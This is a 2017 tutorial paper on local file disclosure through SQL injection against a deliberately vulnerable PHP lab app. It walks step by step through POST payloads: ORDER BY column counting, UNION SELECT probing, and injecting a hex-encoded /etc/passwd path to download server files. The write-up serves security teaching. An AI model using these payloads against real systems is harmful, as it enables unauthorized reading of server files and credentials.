Local File Disclosure Using SQL Injection
Local File Disclosure Using SQL Injection
SQL Injection
March 13, 2017
Introduction................................................................4
Lab Environment..................................................................................................4
Exploitation .........................................................................................................6
Acknowledgements............................................................................................15
About me..................................................................15
Acknowledgements
Heartily Thanks to IndiShell/ICA crew and hacker fantastic for inspiration.
Special Dedications:
Zero cool, code breaker ICA, root_devil, google_warrior, INX_r0ot, Darkwolf indishell,
Baba, Silent poison India, Magnum sniper, ethicalnoob Indishell, Local root indishell, Irfninja
indishell, Reborn India,L0rd Crus4d3r,cool toad, Hackuin, Alicks,Gujjar PCP,Bikash,Dinelson
Amine,Th3 D3str0yer, SKSking, rad paul,Godzila,mike waals,zoo zoo,cyber warrior,shafoon,
Rehan manzoor, cyber gladiator,7he Cre4t0r,Cyber Ace, Golden boy INDIA,Ketan Singh, D2
Yash, Aneesh Dogra, AR AR, saad abbasi, hero, Minhal Mehdi, Raj bhai ji, Hacking queen,
lovetherisk, D3.
My Father, my Ex Teacher, cold fire hacker, Mannu, ViKi, Ashu bhai ji, Soldier Of God, Bhuppi,
Rafay Baloch, Mohit, Ffe, Ashish, Shardhanand, Budhaoo, Jagriti, Salty, Hacker fantastic,
Jennifer Arcuri and Don(Deepika kaushik), Govind
Introduction:
SQL Injection AKA mother of hacking is one of the notorious and well known
vulnerability which has caused lots of damage to cyber world. Researchers has
published lots of stuff on different-2 exploitation techniques for conducting
various type of attacks including accessing data stored in database,
reading/writing code from/to server using load and into outfile in MySQL,
performing command execution using SA account in MSSQL.
In this paper, we are going to exploit SQL Injection vulnerability in file
download function which download file from server on the basis of output
returned by vulnerable SQL query.
Lets consider scenario in which, there is one user supplied parameter which is
getting process in SQL query and after processing, SQL query is returning
location of the file. Now, lets suppose that value returned by SQL query is
getting pass to a function which download local file from server. In this case if
user input is not getting check by web application, in that case attacker can
easily manipulate SQL query to download any file from server with known
location (file must have read permission on it).
So in this paper I am going to demonstrate local file disclosure in PHP based
web application with MySQL database as backend. File download parameter is
vulnerable to SQL Injection.
Lab environment:
To work with this exploit, I have setup following things on my machine.
1. Web server (apache in my case)
2. PHP installation.
3. MySQL database
4. Sample vulnerable web application which you can get from my github
account. Here is one which is developed by me for demonstration: -
https://github.com/incredibleindishell/Local-file-disclosure-SQL-
Injection-Lab
Download sample code and create one user in MySQL server with
Username=dsqli
Password=icadsqli
And database name = dsqli
To create database and user which will be having read permission on the
database, just follow given below process: -
Once you have setup database and user account, just import the database
dump file (dsqli.sql which is available with the sample code) to database
dsqli.
In above code we can see, if any how we alter the query and SQL query return
$row[location] variable with value something which is having location of
server local file or web application source code file, file_download function will
download that file for us >:D< .
This thing can be easily achieved by injecting union based SQL query and
during injection, put full path (local) of the file which we want to download in
hex form.
Exploitation
1. Local file disclosure using SQL Injection : -
First of all, just figure out whether application is vulnerable to integer
based SQLI or string based SQLI. After that figure out number of column
in table queried by SQL statement.
Page Index.php
Post parameters
image=1 order by 1--&image_download=Download
Page index.php
Post parameters
image=1 order by 5--&image_download=Download
Web application is not prompting file download popup box when we
increased the value of order by clause from 1 to 5 which indicates that
number of column used by select statement is less than 5.
Page index.php
Post parameters
image=1 order by 4--&image_download=Download
Page index.php
Post parameters
image=1 order by 3--&image_download=Download
This time we got file download popup :D so finally we have figured out
that column count is 3.
Page index.php
Post parameters
image=1 union select 1,2,3--&image_download=Download
Page index.php
Post parameters
image=1 union select 1,2,3--&image_download=Download
Page index.php
Post parameters
image=1337 union select 1,2,3--&image_download=Download
We need to change actual value of vulnerable parameter to something non
existing value so that when real query executes with our injected query,
real query should not return anything and only our injected query should
return result. If we dont do this, we will keep getting popup of file which
we were getting with legitimate request (query without injection).
Ok lets see if injected query works well (if we have injected right column
which return file location to file download function) and web application is
giving us download popup for /etc/passwd file or not.
Request
Page index.php
Post parameters
image=1337 union select 0x2f6574632f706173737764,2,3--
&image_download=Download
Page index.php
Post parameters
image=1337 union select 1,0x2f6574632f706173737764,3--
&image_download=Download
Page index.php
Post parameters
image=1337 union select 1,2,0x2f6574632f706173737764--
&image_download=Download
And yes it worked 8-). Web application gave download popup for passwd
file when we injected union select statement having hex value of string
/etc/passwd in third column.
image=1&image_download=Download
image[]=1&image_download=Download
Now, we have full path of the script, so we can download this file too, we just
need to put hex value of file path in the column which will allow us to
download file.
Acknowledgements
Special thanks to IndiShell Crew and Myhackerhouse for inspiration.
About Me
Working as application security engineer and interested in exploit development.
Keep learning different-different things just not limited to single one.
My blog
http://mannulinux.blogspot.in/
My github account
https://github.com/incredibleindishell